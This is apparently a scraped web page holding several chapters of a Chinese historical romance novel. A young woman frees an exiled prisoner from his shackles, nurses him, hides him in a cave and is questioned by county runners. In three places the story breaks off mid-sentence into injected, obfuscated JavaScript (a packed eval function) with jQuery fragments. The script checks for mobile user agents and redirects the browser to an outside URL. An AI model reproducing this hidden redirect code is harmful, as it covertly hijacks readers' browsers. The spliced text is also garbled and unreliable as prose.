崔述滞了片刻，极轻地笑了笑。 “若不是这小家伙非要引我去找你，你或许有办法自救，但多半会多遭更多罪。”周缨顿了一顿，“或许这就是天意吧。” 崔述默然不语。 周缨边将手边的麻布裁成大小相同的两半，边吩咐道：“把左手伸出来。” 崔述照做，周缨拿右手托住他手腕。 肌肤相触，他下意识地觉得于礼不合，想要躲开，手缩回半寸，又止住了动作。 周缨取过一块裁好的麻布，一圈一圈地往他腕上缠。 崔述垂眸，注视着她的动作，没有出声，手指却无意识地颤了下。 周缨将他左手手腕缠好，吩咐道：“放在木桩上，手掌打开，贴着放平。” 等他将手放好，周缨拿凿刀比划了下，卡住镣环上的锁扣，使劲儿往下一压。 整只手被完全固定在这方寸大小的木桩上，锋利的凿刀挨着他的手掌没入木桩，稍有不慎，便可洞穿他整只手掌。 “你到底犯了什么事？” 周缨左手压着凿刀，右手握着斧柄，冷然看着他。 这场景不知为何让崔述想起一个词——逼供。 这是她第三次问他这个问题了。 崔述依然沉默。 “不说算了。”事不过三，她既然已经下定决心不管所谓道德大义，赚到银子即可，倒也不是非要过问。 他反倒开了口：“看错了人。” “被别人陷害的？”周缨似懂非懂，“是么？” 崔述再度沉默下来。 “倒也是，监狱里押着的囚犯，也未必都是真奸人。”周缨不再追问，举斧往凿刀上猛地一敲。 巨大的力道沿着凿刀传至崔述腕间，迅疾冲向肺腑，激得他闷哼一声。 他抬眼看向她，唇边噙着隐隐的血色，眸如点漆：“这就不问了？没得到答案就敢如此，不怕我是穷凶极恶之徒么？” 周缨哂道：“就你这副样子，我把这斧头给你，你敢给我来上一下吗？” “这倒难说，穷途末路，难免会行平素不欲之事。” 周缨似是没料到这回答，沉默片刻，哂道：“那前日，你为何明明可以用毒逼迫我帮你，最后却收了手？” 她手中举着方才从他袖间取下的那枚细短银针。 崔述目光凝在针尖上，半晌才正视她：“你当时既已察觉我有此念头，为何最终仍旧帮我？” “虽然我那时提了一些办法，但不可能完全打消你的顾虑，其实你用了这针，才能保证万无一失，但你选择了信我。”周缨淡笑道，“当日处境危险，你行事都是这般。我今日即便帮你解开这镣铐，你又会怎样对我不成？” 崔述目视着她将那针随意放至一旁的椅上，淡声道：“人常有一念之差，你怎知我当真不会？” 周缨低头看向他动弹不得的左腿，重新握住斧柄，似是懒得应他这出。 崔述顺着她的目光看过去，自嘲一笑：“也是。” “很疼，你忍着点。”周缨不再和他闲话，再次抬手。 斧头落下，凿刀精准卡住的锁扣松动了三分。 崔述咬着唇，没有出声。 血色再次自他齿间隐隐溢出。 周缨看他一眼，将熏笼上烘着的一张布巾递给他，叫他咬着。 崔述没有忸怩，坦然照做。 这回没了顾忌，周缨用尽全力往下一敲，锁扣应声弹开，绷到墙上又弹回来落到地上，锁链则从木桩上滑落至地上。 崔述左手被震得麻木不堪，半天没有动作，好在有布料护着腕骨，尚不至于血肉模糊。 周缨看向他右手，迟疑了下，征求他的意见：“我不知道你家人什么时候能来，你右手有伤，强行开锁会伤得更重，后面会怎样我也不敢保证。你自己选吧，是等还是砸。” “开吧。” 他没有给自己留任何犹豫的时间。 周缨并不意外，自行将他动作困难的右手换过来放好，因方才消耗了太多力气，这回重复了四次，方见锁扣有松动的迹象。 即将重获自由，崔述不见多大反应，倒是周缨面露欣喜。 她刚动了动唇，还未及出声，忽地传来一阵急促的拍门板声。 周缨拿着斧子的手颤了下，正要开口，门口传来一个焦急的女声：“杨泰，快开门！” 周缨手上一松，斧子滑落在地。 “你又打人了是不是？那是你女儿，你混账！”门后的声音越发焦灼。 黑豆蹿到门口，前爪不停地在门板上扒来扒去，带出刺耳声响。 周缨似乎还没从这巨大的冲击中回过神，茫然地看着门板。 “杳杳，杳杳……”门后传来断断续续的绝望的啜泣声，“我跟你回去，你别打她了。” 周缨起得急，抬脚时绊倒了木桩，踉跄了下。 她试图用脚拨开堵门用的木柴，然而脚上莫名乏力，只能蹲下身用手去扒。 门刚松动一线，一股大力从门后传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418871|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将她撞倒在地。 杜氏急急冲进来，看见她跌坐在地，连忙跪倒，将她拥进怀里，左瞧右看，哭着问她：“他又打你了是不是？” 周缨坐稳身子，神思慢慢回正，扶住杜氏的肩，使劲晃了几下，逼她清醒：“阿娘，你看清楚，我都长这么大了，他也已经死了！” 杜氏茫然抬头，环视四周，瞧见坐在灶下的崔述，瞪大眼睛看了又看，恍惚地呢喃道：“不是他，对，不是他，他没这么瘦。” 周缨看着她这副样子，悲从中来，左手抱住她，将头抵在她额间，右手在她后颈上轻拍，放低声音安抚她：“阿娘，没事了，他死了，放心。” “死了就好，死了就好。”杜氏懵懂重复。 周缨扶住门框站起来，将杜氏扶起，搀着她回到榻上，花了很长时间才将她安抚好。 看着榻上昏睡过去的妇人，周缨鼻尖一酸。 她已经记不清楚，有多久没有听到过阿娘说这么多话了。 她站在原处，注视了杜氏许久，方长吸了口气，脚步沉重地出了门。 天色大白，周缨看着白茫茫的雪地，吸了吸鼻子，掩住所有情绪，沉默着回到厨房。 崔述仍安静地坐在灶下，见她进来，似乎想说句什么，动了动唇，又终是一个字都没有说。 周缨将门重新堵死，将已经烧沸的水壶提下来搁至一侧，倒出一杯晾着，问他：“还受得住么？” 见他点头，周缨坐回原位，将方才绊倒的木桩重新固定住，声音比方才要冷上三分：“继续吧。” 崔述迟疑了下，说：“改日吧。” “我喂她吃了药，会昏睡上几个时辰。”周缨指了指木桩，冷静地道，“今日雪大，应当没人出门，这声音不会引人过来。何况马上就要成了，一次解决吧，不必再拖。” 崔述略一思忖，任由她如先前一般，凿开锁环。 周缨将那条沉甸甸的镣铐藏好，感慨道：“还好不是死镣。” 这本是她可以用来牵制他的物件，于她获取酬劳亦有几分保障。崔述问她：“怎么突然想到这个？本不必废这个劲的。” 周缨看向他腕间，流放之途山高水迢，整日间牵扯摩擦，那里已皮开肉绽，溃烂可见腕骨，任何动作恐怕都会牵出钻心的疼。 她垂下眼眸，昨夜脚下这方泥地上，有他用不太习惯的左手勉强写成的“缨”字，有点像她小时候在阿娘桌上偷看来的模样。 “你也不容易。”她随口一答，将炉中之火添了一道，放好药罐，问他，“烧退完了？” 其实还在断断续续的低烧，但他自认为不大碍事，所以点了点头。 周缨本想换副治外伤的药，想了一想，还是又加了副伤寒药来煎，想再巩固一下药效，怕后面又反复再烧起来。 她执瓢慢慢注水浸没药材，一抬头见崔述仍旧看着她，犹疑了下，问：“有话要问？” 崔述点头。 周缨想了想，猜出他仍旧执著于方才那一问，想知晓她为何没有探问清楚缘由就肯助他恢复自由，于是指向门口：“瞧见刚刚那人了吗？我阿娘，疯疯癫癫的。” 她将晾好的温水递给他，停顿了很长一阵，才接道：“我非要打破砂锅问到底，问疯的。” 她的语气不无黯然： “现在学乖了。” 8. 深山雪重（三） 大雪压山，除了贴地穿行的凛风呼啸而过，几乎听不到任何别的声响。 灶膛中的炭火明明灭灭，映得周缨的脸庞红了又暗，暗了又明。 “所以，不说就算了，也不是什么大不了的事。” 周缨添了一把柴，火苗两下蹿起来半人高，垂落的几绺鬓发被燎出焦糊的味道。 她站直身子避开，手指拈上被火舌舔过的蜷曲发梢，不无可惜地看了一眼，在毕毕剥剥的干柴燃烧声中，很轻声地叹了一句：“不知道也不会怎样。”说罢将方才怕伤着他而取下的银针递还给他，起身从后门出去。 崔述将银针藏回袖间，注视着她的背影，沉思良久。 明明看着极伶仃的一把弱骨，做起事来却是与之并不相称的麻利和果断。 说起话来，更叫人听出一股子不显的倔性。 周缨不知在后头做些什么，半天没有回来，只听得“咚咚”之声藏于萧索寒风中，断断续续地传进来。 崔述也不曾起身去窥探，只安静地坐在灶后，看着火光微微发怔。 本就伤痕累累的手腕受了方才那一通罪，此刻伤上加伤，正缓缓渗着血。 他将手腕举至火苗上方，平静地看着腕上血迹蜿蜒坠向火堆，惊起轻微的“滋滋”声响。 直至木门“嘎吱”声起，将他从这钝痛中唤醒。 他一抬眸，便撞上了一双蕴着薄怒的眼。 “你在干什么？” 崔述下意识地将手一缩，才反应过来自己原本不必对她生惧，于是平声应道：“一时失神，无碍的。” 周缨冷声叱道：“你便是寻死也同我没什么关系。只是能不能不要跟樽大佛似的，火都快熄了，不知道搭把手么？” 崔述低头看去，木柴果然已烧完了大半，凌乱地散在各处，火势聚不到一处，药罐中“噗噗”的沸腾声较先前安静上不少，他说完抱歉，试图倾身将药罐取下。 他手不便，这事做起来困难，周缨惊觉自个儿这通脾气发得莫名，走近端起药罐，等他帮忙将散落的木柴堆好后，重新放回炉上，再转去灶后打来一盆温水放在火堆旁，又折返拿着个白瓷碗与土陶罐过来，在他身旁坐下。 这个角度，她眼角的一抹微红恰恰暴露在崔述视线中。 崔述低头看向火堆，佯作不知。 周缨将手中的绢布绞成几段，取过碗中泥泞的一团放至布料中间，用竹篾细细摊平。 清浅的药香钻入鼻尖，崔述垂眸，将周缨被染绿的指尖收入眼中，听她冷硬地唤他：“手拿过来。” “好。”崔述应下，将左手拿至身前。 周缨握住他的左手，拇指按在他中指指骨上，专注地判断着伤势。 将将才碰过冷水，周缨的手指冰冰凉凉的，贴在他掌心，叫他无端生出一种错觉。 就像是握着一枝郊野冻草。 触感冰凉、孱弱，细品却能发觉隐匿于其间的绵长生气。 周缨将他的手仔细地翻看了一遍，而后拧干帕子，轻轻触上他的手腕。 崔述轻“嘶”一声。 周缨克制着方才被杜氏激起的情绪，手上动作更加轻柔，将他腕间的尘灰和血渍一并擦拭干净。 巾帕重浸于水，迅疾洇染上一层血色。 周缨取下土陶罐上的泥封，用竹制酒提舀出一勺酒，重新搭住崔述修长的中指，将药酒缓缓淋至伤处。 “自家泡的药酒，性烈，忍着些。” 她做事极认真，将他手翻过来，再去浇他手腕内侧的患处，全程埋首细看，不曾分心。 浊酒从酒提中成线注下，宛若晃动的珠帘，崔述抿唇忍住这缠绵不休的痛感，视线不免有些恍惚，顺着这流动的珠帘往下看，定在周缨那几绺被火舌燎得有些发黄的弯发上。 这视线未曾遮掩，周缨有所察觉，手上动作微顿，又若无其事地将酒提放回罐中，侧身取回绢布，将捣碎的药草敷在他腕上，缠绕两圈，打好结扣。 “镇上的大夫医术普通，治治普通外伤应当还行，你这右手养上几日应该也能动了。但腿恐怕伤得重，”她默了片刻，方说，“官差还没走，请大夫过来太冒险了，可这么拖着也不是办法，你自己怎么想？” 似是没料到她会这样说，崔述直视着她的眼睛，静静地看了片刻，眨也未眨。 周缨恍若未觉，沉默着摊开又一块长条状的绢布，重复着先前的动作，将捣碎的草药放进去，伸手捉过他的右手，右手抚上酒提的长柄。 扣住他手腕的一瞬，周缨抬头迎上他仍未收回的目光，语气坦然：“怎么？” “是在下失礼，还请见谅。”崔述歉然。 周缨一般是不大接他这样的客套话的，这回却道：“不必这么客气。” “我不觉得我在做善事，拿人钱财替人消灾而已，你也不必觉得欠我什么。”她顿了一顿，接道，“我这人惯来拎得清，报酬和情分，只得一样已经极好了。” “也好。”崔述淡淡一笑。 周缨埋头替他清理伤口并上药，淡淡的皂角清香、药酒的料香混杂着清苦的药汁味萦在鼻间，久久未散。 药罐中的水沸个不停，争相溢出盖面，顶得盖子浮起又落下，“叮叮”作响。 崔述不便去看半跪在他身侧的瘦弱女子，只好将视线定在这只缺了角的瓦罐上。 深山雪重，泥炉初沸，药香萦室，不知为何，他竟觉出一股久违的宁和。 周缨替他包扎好腿上的外伤，单手撑着扶手椅站起来，眼前陡然一阵发黑，脚底发软，身子往一旁斜栽下去。 脑门儿即将磕上药罐的时刻，一只手迅疾地托住了她的手肘。 前额距离滚烫的瓦罐不过半寸，周缨才堪堪止住了去势，强撑着睁开眼，慢慢回过神来，垂眸看向托着她的这只手。 掌心宽大，肤色白皙，掌间纹理清晰可见，腕上缠着厚厚的绢布，草药的清苦从其间传出。 明明伤得厉害，却能稳稳当当地支撑住她。 “头晕？” 周缨点头。 “去睡会儿？” “没事，不过是蹲久了，缓过来便好。” 听她如此说，崔述也不再坚持，扶着她在扶手椅上落座，站在一旁看她。 等这阵猛烈的眩晕缓过去，周缨指着一旁的熏笼道:“用旧衣改裁了件衣裳，早先烘过，还是暖和的。你那衣服太单薄了，不嫌弃的话就添上，不然风寒始终好不全。” 熏笼上铺着一件山青色的圆领袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418872|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，寻常缁衣料子，成色作旧，但粗看也知针脚细密，必然耗时费力，想来她昨夜一整夜没睡便是在忙此事。 他不作答，周缨又道：“村镇上相熟的人多，都知道我家中没有男丁，我不便去买男子衣物，自己裁的，粗糙了些。” “多谢。”崔述郑重道谢。 周缨浅淡一笑，也不多言，只微阖双目，以作回避。 崔述心内领受她的好意，沉默着添上她新裁制的这件衣裳。 虽是旧料，且质地虽糙，但于农家而言，显然也不算易得，多半是平素轻易不舍得上身的旧衣，就这般改作了他这个外客的衣物。 她的宽待，着实有些超出了他的预料。 思及此处，他不由垂眸去看周缨，目光落在她眼下的青黑上，定住不动。 周缨听着动静，猜他已换好衣服，自行睁开双目，恰巧对上这样不加掩饰的目光，怔愣了片刻，垂首避开。 崔述却未点到为止，反而笑着看她：“阶下之囚仓促出逃，实在不当得如此照顾，姑娘如此作为，确没有什么内里因由在吗？” 周缨思虑半刻，才说：“本来想着为八十两银子搭把手也算赚到，但后来观你言行，不像一般人。我虽见识短浅，以前却也听村里老人讲过，说县里曾经有位落难来此的老吏，后来做了本府的大官，因受过百姓恩惠，还时常回县里纠冤案查民情。依你性情，我今日这般，来日也许有意外之喜也说不定？” 观她神情，不似作假，可有这等心眼之人必不会轻易将之宣之于口。 崔述收回目光，沉默不语。 凛风四起，刮得门板轻微震动，崔述回过神来，问道：“巳正了，你饿不饿？” 昨日累得厉害，晚间确实没吃多少东西，晨起又耽误了这般长的时间，说不饿是假的，周缨老实点头。 此刻体力不支，她迟疑了下，问他：“你会煮汤饼吗？我昨晚和了些面，在柜上，单手也能做。” 周缨并不抱什么希望，本也准备歇上一阵再去做，不料却听得一声平和的“会”。 灶后柴禾码得整整齐齐，不难看出此间主人平素的整洁，崔述坐于矮凳上，取干柴于地上火堆中引燃放入灶膛，添好柴禾，转去净手做汤饼。 热气蒸腾而上，立在灶后的男子凝神看着爬满锅底的细密气泡，单手撕着面团，待水沸后放入锅中煮熟，用笊篱漉出放至白瓷碗中，浇入昨晚剩的肉沫，掺入热汤，撒上一小撮葱花，一碗喷香的汤饼出锅。 周缨颇有些意外，崔述却恍若未觉，自橱柜中取出一只白瓷碗清洗干净，掺入七分满的温水，同她道：“吃点东西，体力恢复得快些。” 周缨眼睫颤了一颤。 他手脚不便，无法端碗走路，周缨起身帮忙，强撑着将汤饼和水端至桌上。 玄冬猛寒，汤饼最宜充虚解战，周缨尝了一口，招呼崔述过来坐：“倒瞧不出来，竟比我做的还强些，过来吃呀。” 崔述慢慢走过来，在她身侧落座，左手执勺舀了一块面团放入口中，咀嚼了两下，很认真地评价：“还行。” 周缨“噗嗤”笑出声来，等止了笑，又埋头细细品尝起来。 崔述慢慢放下手中汤匙，目光聚在她的颅顶上，眉头微锁。 9. 飞蓬向远（一） 雪虐风饕，山中寂寂。 镣铐一除，行动间的牵扯磋磨不再，崔述上肢的外伤算得上药到病除，两三日间渐渐结了疤，右手也慢慢恢复到可以平举握持轻物的境况，左腿却因骨折不得医治，反倒日渐严重。 崔述自个儿倒不是太在意，因雪大不惧有人前来探访此间主人，倒还经常拄拐来耳房坐坐，围炉照看火势，逗逗黑豆，半点情绪不显。 周缨也并不过多地关照他，全当作家中并无此人，只按时搭把手帮他换药，除此之外，大部分时间用来陪伴开解近来情绪波动颇大的杜氏，偶尔也披着蓑衣斗笠，挑雪势稍小的间隙往山脚去，回来时背上一小篓湿透的枯柴，劈成小块用来烧炭。 雪势消减的那日清晨，周缨煮了碗阳春面，煎上一个母鸡终于赏脸下的蛋，看崔述毫不讲究地在炉火前坐下，如市井贩夫走卒一般随意端着碗吃面，笑说：“你这样富贵出身的，居然也能接受这种做派。” 崔述抬头看她一眼，笑了一笑，又埋头吃起来。 他提出以重金相酬，便不曾想过要隐藏家世，左右这农女也只能猜测他家境门庭尚可，断不出他具体身份。 周缨去隔壁陪着杜氏吃完回来，等他细嚼慢咽地结束这一餐，收拾完碗筷，方在他对面落座，叹了一句：“雪停了。” “嗯。” “先前便算了，眼下你的家人既然还没到，你最好坦诚相告。”周缨目光锁在他眉间，“你犯的事……算了，我就再问这一次，这回你要同我说实话，这事官府到底会不会轻易作罢？” 崔述瞥了一眼被她搁进柜中的白瓷碗，笑问：“方才这顿饭，是送行的意思？我本也有此意，等会儿我会离开，先前答应过的酬劳，日后定当遣人送来。” 似怕被误解为骗子，他一反常态地解释道：“先前出言许诺，是断定他们定会寻来，只是不料雪势太大，兴许沿途排查过来遇到了些困难，导致动作慢了些。眼下这境况，既然他们还未寻到此地，你若再继续收留我恐会招来更大的危险，只能让我先行离开。吾非无信之人，还请放心，日后必当相酬。” 周缨噎住，转念一想这倒也像他此前的行事，于是平静回道：“我不是这个意思，接触了几日，这事我信你，更何况，县衙一旦来人，这么大的动静，你家人但凡不蠢，最晚一两日间也该跟着找过来了，不过稍微晚上两天，我并不担心。只是叫你好生想想，你腿上伤没好，眼下自行离开的话，有多大的把握能避开搜查？ “若你与官府的人撞个正着，孤身坠崖，冰天雪地的，却能命大活下来，镣铐又被解开，显然山中必有同伙。你我如今本是一根绳上的蚂蚱，我不喜欢拿命来赌，所以你也不要瞒我。” 她很少这样说话，更很少长篇大论，崔述思忖片刻，坦诚道：“我此前已告诉过你，流放途中死伤从不在少数，役卒尽责情况下甚少担责，并非为骗你相助而撒谎，确是实情。” 见她若有所思，崔述补道：“役卒欲尽早返乡过年，故才择了小道，眼下年关将近，为尽快交差自然也不会查探很久。” “这两天恢复得怎样？”周缨心中有数，起身推开后门往外看去，盘旋数日的厚密积云一扫而空，天际隐着淡淡的金边，是个雪后晴阳的好日子。 “挺好的。” “押解你的人少，雪厚路滑，搜查不易，不可能独自揽下这差事，前几日想必已趁雪回县衙求援去了。今天雪一停，县署应当会派官兵过来，这里距离远，路也难走，估计不会很快，但以防万一，还是抓紧时间，你随我来。” 崔述虽不知她谋划，但听她如此说，仍旧撑着木拐站起身，随她走至檐下。 “路难走，我扶着你。” 周缨站在檐下冲他伸手，见他迟疑，将手再往上抬了一些，轻声说：“来。” 崔述缓缓将木拐探入檐外雪地，深压入泥，扶着周缨的手走下石阶。 周缨以肩撑住他左臂，如来时一般，扶着他离开这方小院，往山脚走去。 天色尚早，飞鸟罕至，全无人迹，两人缓慢地沿着山间小道往下走。 行出三里地，周缨指了指前方的侧柏林：“仔细些，别撞掉枝上的雪，这个不好作假。” 崔述颔首，随她绕开满地琼枝玉树，屈身往里行去。 林木茂密，平素难见日光，内里灌木蕨草甚少，路反倒好走许多，周缨带着他七拐八绕，踏进一处狭长的洞穴。 光线晦暗，崔述半眯着眼适应，周缨让他自行先进去，自个儿则在洞口停留，以冷杉枝点火。 浓烟四起，顺着微弱的山风往四周逸去。 呼吸微微一滞，周缨手上的速度却丝毫不减，将一旁备好的木炭倒进炉中，拾起一枝冷杉扇风助燃。 等烟雾散尽，见他并未先行进去，只在一旁看着，周缨便提着泥炉同他一道缓步往内走，边走边交代道：“山间有烟必引怀疑，虽还剩了些干树枝，但你不要用。炭要及时续，我备得多，够用上四五日，不必俭省。” 崔述跟在她身后往内走，走完这道狭长的洞口，拐过拐角，方知别有洞天。里边是一间还算方正宽敞的内室，以石块、木板、干草搭了一张平整的榻，其上被絮一应俱全。 周缨指着放置在另一端的器物同他一一交代：“备了两桶山泉水，用水壶烧开再喝。饼、汤圆、面条都放这筐里了，用绢布挡着灰，饿了用小锅煮。对了，”周缨猛一回头，发觉他似有些心不在焉，顿了下，接道，“上回见你还蛮喜欢这番薯，也拿了几个，烧来吃也方便。” “你这几日冒雪出门，便是布置这个？” “嗯。”周缨转身往外走，“我先回去，药已经喝完了，反正你家人也快到了，我就先不替你续了。你先安心捱过这几日，这腿不能再折腾了，否则真要废了。” “等等。” 周缨回头看他：“怎么？” “倘若露了破绽，你当如何应对？” 周缨眉头微拧，似在认真思考可能性，尔后应道：“不会。这一片我很熟，应当没有破绽。只要我阿娘不出岔子便无事，放心。” 话音甫落，人已拐进来时的逼仄通道，扶着山壁往外去了。 一路小心掩埋踪迹颇为费时，回到家中时已近晌午，周缨先将出门时刻意困在屋中的黑豆放出去打探情报，再替杜氏做饭。 “阿娘，”饭吃到一半，周缨停筷，认真看向杜氏的双眸，郑重道，“我要说的事，事关我们二人的性命，我不知道你听不听得进去，但你尽量记住，好不好？” 她握住杜氏枯瘦的手腕，叹道：“等这事结束，我带你离开这里，去更自在的地方，好不好阿娘？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418873|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杜氏不知听没听懂，神色一如既往的不知所措，只是有那么一刹，眼里的浑浊却散了三分，直楞楞地盯着她。 周缨心头一酸：“是我没用，攒了这么几年也没攒够盘缠，不过这回是真的快了。你信我，咱们马上就能离开了。” 周缨握住她的手更为用力，轻抚着她手背上凸起的青筋，叮嘱道：“午后会有官府的人过来，穿黑红色的皂衣，和早年间来过咱们家里的人一样，但你不要怕，这回并不是来为难咱们的。” 杜氏手上的微颤止住，歪头盯着她，似听得极为认真。 “我不能再一碗药把你药倒了事，你的身子短时间内承受不起这样猛的两剂药。而且咱们身上有旧账，这样容易引起怀疑，所以你务必要记住我说的话。” 周缨闭目，用力握住她的手，强迫她将这话听进去：“阿娘，自从腊月下雪以来，我只有五日前雪停的那日，去镇上帮过一日工，次日送完炭才回来，第三日因你风寒，又去邻镇买过药，顺带买过年货。” “若再深问，你只管说一概不知，或者不要回答，就像你平常这样就行。”周缨替她搛了一筷子萝卜，舀上一勺蘸水，垂目低低说道，“只要记住，除那三天以外，任何时候都无人出过这间院子，除了大伯母，这些天也不曾有任何人来过咱们家，你也从来没有见过上次厨房里的那人。” 杜氏不知听懂几分，总之没有应她，只低头去嚼那块白萝卜。 周缨失落地叹了一句：“也罢。是我贪心了，竟还想指望你帮我圆谎。” 她本也不强求阿娘能够应答得滴水不漏，若能如此，阿娘也不会这些年都是这般模样。只是阿娘还是能听懂一些简单的话，不叮嘱一番，仍怕她一时情急说错话露了馅儿，这番叮嘱实在只为求个心安。 吃完午饭出来，久违的晴阳悬于天际，洒下金灿灿的光，替远处山黛描了一层金边。 后山处传来喧杂的人声，不消说，平山县廨的官差来办差了。 周缨平静地回到厨房收拾完碗筷，打了盆热水端至后院石板上，清洗崔述用过的床单被面。 冬日寒凉，水冷得快，周缨却清洗得极为仔细，慢悠悠地浆洗完，晾至竹竿上，正往作裙上擦手，耳房的前门忽地被撞开。 黑豆疾奔而来，在她脚边急切地转着圈，因奔跑而不住吐舌喘着粗气儿，凝成一片白色的雾气。 周缨在它脑袋上轻拍了下，示意她已经懂了，黑豆便不再焦躁，在灶下寻了块宽敞的地方趴下来，安静地吐着舌。 盏茶功夫过后，篱笆院门被人推开，凌乱的脚步声传进来，大声呼喝着主人出去迎客。 周缨往廊檐下走出去两步，门便被先一步推开，身量魁梧的皂隶冷声宣示来意：“官府办案，速速配合。” 周缨露出诧异的神色：“敢问官爷来这儿办什么案？” “有逃犯藏于翠竹山中，这是搜查令，叫你家中所有人丁速速出来面官。” 周缨半扭着头去看那纸，难为情道：“官爷为难我了，我大字不识一个。” 话刚说完，一旁一个身量瘦削的皂隶忽然道：“老金，你觉不觉得此地有些眼熟？” 老金仔细回想了半日，一拍脑门儿道：“这不就是杨家坪那寡妇家？当年有人报案说她谋杀亲夫，咱俩来拿过人的。” 10. 飞蓬向远（二） 瘦子愣了片刻，将周缨从头到脚打量了个遍，将佩刀往地上一竖，恍然大悟道：“就是她家！只不过当时我们是从山脚上来的，走的不是今日这条道，难怪方才没想起来。” 办案之人耳目记忆强于常人，壮汉老金此时再看周缨，已然面色不善，半点不客气地呵斥道：“速去把你娘叫出来。” 周缨身量不及他，步子小些，被他毫不客气地用刀鞘在脊背上顶了一下：“快点。” 黑豆一跃而起，拦在周缨跟前吠叫起来。 老金提脚便往它肚上一踹，一脚将它踢出去三尺远，惊起一阵凄厉仓惶的惨叫。 黑豆爬起来，往后退开一步，目露凶光，盯着这壮汉，又大声吠叫起来。 “你这小畜生，还反了天了不成！”老金拔刀上前。 周缨忙拦在他跟前：“官爷熄怒，不过是个听不懂人话的小畜生，不值得同它计较。我这里有春日里做的茶饼，自家茶树上采来烘制的，您若不嫌弃，我替您沏上一壶明前茶，好降降火。” 翠竹山名虽秀雅，但却是不折不扣的巍峨大山，林木茂密，旁的物产不多，独独百年古茶树倒家家都有一两棵，虽被茶商压价卖得贱，挣不了几个钱，但只要走出青水镇，却也勉强算得上平山县的好茶，壮汉闻言气已消了不少。 那瘦子又在一旁劝道：“说得对，喝口茶消气，别多事，不过寻个囚犯，早走完这一趟，早回去交差。” 两人一道办差多年，老金不好不给此人面子，听得如此说，冷声命令周缨：“把这畜生拴起来，若再不安分我就不客气了。速去将茶沏来。” 周缨连连应是，顾不得背上的痛处，弯腰将呲着牙的黑豆抱至檐下，用藤条拴住，低声叮嘱它不可再躁动，随即赶回厨房沏茶。 老金见她态度甚好，手脚也麻利，怒气消了一半，暂且没再为难她。 周缨扶着杜氏缓步走至耳房门口，道：“官爷，这是我娘，家中只有我们二人，怎敢去招惹什么逃犯，还望诸位查明真相，勿要冤我二人。” “也没冤枉你。”老金端着茶碗，将茶水一饮而尽，对瘦子道，“吕三，你看着人，不许她们走动一步。”说罢点了剩余的皂隶去隔壁房间。 翻箱倒柜之声传过来，杜氏被重物倒地的声音骇到，身子不住哆嗦起来。 吕三将眼眯成一条缝，目露精光：“怎么回事？” 杜氏不知作答，只将头埋低，仍旧哆嗦个不停。 周缨轻拍她脊背示意她安心，回吕三道：“听官爷方才所说，早年我爹失足坠河连尸骨都没打捞到的事，您也是知道的。这事一出，我娘本就伤心过度，后来又坐了一回冤狱，被里头的情形吓到了，回来以后便神智不清，成了今日这模样。” 吕三斥道：“什么冤狱，官府办案，按律拿人，后来查无明证不也放你娘回来了，何曾冤过你娘。” “是我失言，官爷勿怪。” “瞧你倒还伶俐，过来。”皂隶抬手唤她。 周缨走至近前，吕三指了指火旁的矮凳：“扶你娘坐。” “谢官爷。” “从腊月十七那日到今天，你去过何地，做过何事，一一说来。” “这么多天，怎么想得起来？”周缨面露难色。 吕三冷笑一声：“你家距离后山最近，最有嫌疑，按律可以将你二人羁押，带回衙署候审，到得官府，想必你便想得起来了。” 周缨闻言怯怯，屈指仔细数了半晌，方道：“先前镇上瓦罐店的江老板说工期紧，请我去帮小工，因还剩些活没做完，一直催得厉害，十六那日雪一停我便去镇上了，一直忙活到第二日才忙完，我还攒了些炭，顺道给老主顾送去便从镇上回来了。回来后累着了，当天就一直没再出去。” “什么时候，送到谁家？” “上午，具体时间记不太清，送到镇上那家糕点铺子了，那婶儿经常在我这儿买炭，年关里用得多些，便吩咐我一有炭就送去。” “其他时候呢？还出去过么？” 周缨点头：“十八那日又去隔壁镇上抓了些药，还买了些年货。” “十八？这回倒记得这么清楚？”吕三目光渐露凌厉。 “方才不是算过了嘛，雪停了两日，第三日我看天色，觉得这天晴不长久，便想去买些年货，恰巧我娘的寒症又突然犯得厉害，耽误不得，便一大早去杨叔家里借了骡子，去邻镇替我俩各自抓了些药。” “你怎么了？” 周缨神色赧然：“说来丢人，在镇上看到天色变得快，怕半道下雪赶不回来，心里着急，居然在平地上把脚崴了。” 吕三盯着她的脚腕位置，继续追问：“好得这么快？方才见你行动自如。” “正好替我娘抓药嘛，也给自个儿抓了几副，内服外敷折腾了好几天，基本上好全了。” “你娘有寒症？” “是，冬天常犯，一般不打紧，但那天突然不舒服得厉害。” 吕三转头去问杜氏：“大姐，你身子哪里不舒服？” 周缨心一紧。 杜氏见着生人便怕，不肯回他的话，只哆哆嗦嗦地往周缨背后藏。 吕三无法，只得作罢，又转问周缨：“为何绕远路去邻镇？” 